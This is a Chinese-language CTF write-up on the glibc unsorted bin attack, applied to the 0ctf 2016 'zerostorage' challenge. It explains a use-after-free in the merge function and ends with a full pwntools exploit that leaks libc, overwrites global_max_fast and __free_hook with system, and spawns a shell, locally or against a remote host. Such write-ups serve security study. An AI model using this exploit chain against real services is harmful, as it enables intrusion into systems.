unsorted bin attack

对unsorted bin中的chunk->bk进行修改,接下来该chunk分配出去时,chunk->bk->fd就被赋值为unsortedbin头结点地址。

1
2
3
4
bck = victim->bk;
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

在glibc2.28中增加了以下检查,使得此攻击失效。

1
2
if (__glibc_unlikely (bck->fd != victim))
	malloc_printerr ("malloc(): corrupted unsorted chunks 3");

unsorted bin attack通常为进一步的攻击做准备,比如覆写global_max_fast。

0ctf2016 zerostorage

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
FORTIFY:  Enabled

关键数据结构

image-20200712102723178

flag:标识该节点是否存在

size:记录大小

content:数据块指针

程序有以下功能

1
2
3
4
5
6
7
1. Insert
2. Update
3. Merge
4. Delete
5. View
6. List
7. Exit

insert:获取数据块大小,并读入数据。数据块大小在128~4096这个范围内

update:对数据块进行大小内容进行更新

merge:将两节点合并。这里存在漏洞,输入两次相同的id,导致UAF。这个漏洞我没发现,思维还不够猥琐啊

delete:释放数据块,清空节点

总体思路

通过UAF,首先泄露libc基址,然后修改其bk指针,使用unsorted bin attack修改global_max_fast变量;fastbin bin attack覆写__free_hook为system函数地址。

unsorted bin attack

merge函数中,from的指针将会被释放,to的指针赋值给新的块。而它没有检查from和to是否是一个数据块的情况,导致指针被赋值给新数据块,同时也被释放到unsorted bin中

当它被释放到unsorted bin中时,fd、bk被填充,view该指针就获得了unsorted bin地址。

使用update函数将global_max_fast-0x10地址写入到其bk区域,分配一次后就将global_max_fast赋了一个很大的值,接下来只要不超过这个大小的chunk都会被当做fastbin处理。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# uaf, leak libc base from unsorted bin
insert(0x10, b"")           # 0
insert(0x10, b"/bin/sh")    # 0, 1
insert(0xf8, b"")           # 0, 1, 2
merge(0, 0)                 #    1, 2, 3
view(3)
libc_base = u64(io.recv(8)) - 0x3ABC60

# unsorted bin attack
maxfast_addr = libc_base + libc.sym["global_max_fast"]
gdb.attach(io, "b *$rebase(0xCE8)")     # break at switch
update(3, 0x10, p64(0xdeadbeef) + p64(maxfast_addr-0x10))
insert(0x80, b"")           # 0, 1, 2, 3

fastbin attack

image-20200712111119500

通过以上命令可以看到__free_hook的低地址方向存在一个0x02,可以通过这个数据构造成chunk->size=0x200,如下所示。

image-20200712111558299

接下来的工作就是构造一个可以改写chunk->fd的、0x200的伪fastbin。

构造关键点:**realloc函数中,在重新分配的大小大于原来且nextchunk是topchunk时,会直接从topchunk中切割所需大小。**这样就避免了分配的出错。

所以一开始在topchunk分配(0x200-0x10)/2=0xf8,且接下来不再使用topchunk,unsorted bin attack之后,将它merge,就同时获得了修改该0x200chunk的能力,也被free到0x200的fastbin。

1
2
3
4
5
6
# fastbin attack
merge(2, 2)                 # 0, 1,    3, 4
update(4, 0x1f0, p64(libc_base+0x3AD84F))
insert(0x1f0, b"")          # 0, 1, 2, 3, 4
payload = p8(0)*0x49 + p64(libc_base+libc.sym["system"])
insert(0x1f0, payload)      # 0, 1, 2, 3, 4, 5

exp

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python3
# glibc 2.26
from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./zerostorage"
locallibc = "../glibc_versions/2.26/x64_notcache/lib/libc-2.26.so"

def insert(length, data):
    io.recvuntil("Your choice: ")
    io.sendline(b"1")
    io.recvuntil("Length of new entry: ")
    io.sendline(str(length))
    io.recvuntil("Enter your data: ")
    data = data.ljust(length, b"\x00")
    io.send(data)

def update(id, length, data):
    io.recvuntil("Your choice: ")
    io.sendline(b"2")
    io.recvuntil("Entry ID: ")
    io.sendline(str(id)) 
    io.recvuntil("Length of entry: ")
    io.sendline(str(length))
    io.recvuntil("Enter your data: ")
    data = data.ljust(length, b"\x00")
    io.send(data)

def merge(id1, id2):
    io.recvuntil("Your choice: ")
    io.sendline(b"3")
    io.recvuntil("Merge from Entry ID: ")
    io.sendline(str(id1))
    io.recvuntil("Merge to Entry ID: ")
    io.sendline(str(id2))

def delete(id):
    io.recvuntil("Your choice: ")
    io.sendline(b"4")
    io.recvuntil("Entry ID: ")
    io.sendline(str(id))

def view(id):
    io.recvuntil("Your choice: ")
    io.sendline(str(5))
    io.recvuntil("Entry ID: ")
    io.sendline(str(id))
    io.recvuntil("Entry No." + str(id) + ":\n")
    

def exp():
    # uaf, leak libc base from unsorted bin
    insert(0x10, b"")           # 0
    insert(0x10, b"/bin/sh")    # 0, 1
    insert(0xf8, b"")           # 0, 1, 2
    merge(0, 0)                 #    1, 2, 3
    view(3)
    libc_base = u64(io.recv(8)) - 0x3ABC60

    # unsorted bin attack
    maxfast_addr = libc_base + libc.sym["global_max_fast"]
    update(3, 0x10, p64(0xdeadbeef) + p64(maxfast_addr-0x10))
    insert(0x80, b"")           # 0, 1, 2, 3

    # fastbin attack
    merge(2, 2)                 # 0, 1,    3, 4
    update(4, 0x1f0, p64(libc_base+0x3AD84F))
    insert(0x1f0, b"")          # 0, 1, 2, 3, 4
    payload = p8(0)*0x49 + p64(libc_base+libc.sym["system"])
    insert(0x1f0, payload)      # 0, 1, 2, 3, 4, 5

    delete(1)
    
    io.interactive() 


argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

Reference

  1. how2heap unsorted bin attack
  2. https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html
  3. 0CTF 2016 - Zerostorage Writeup
  4. https://www.anquanke.com/post/id/178418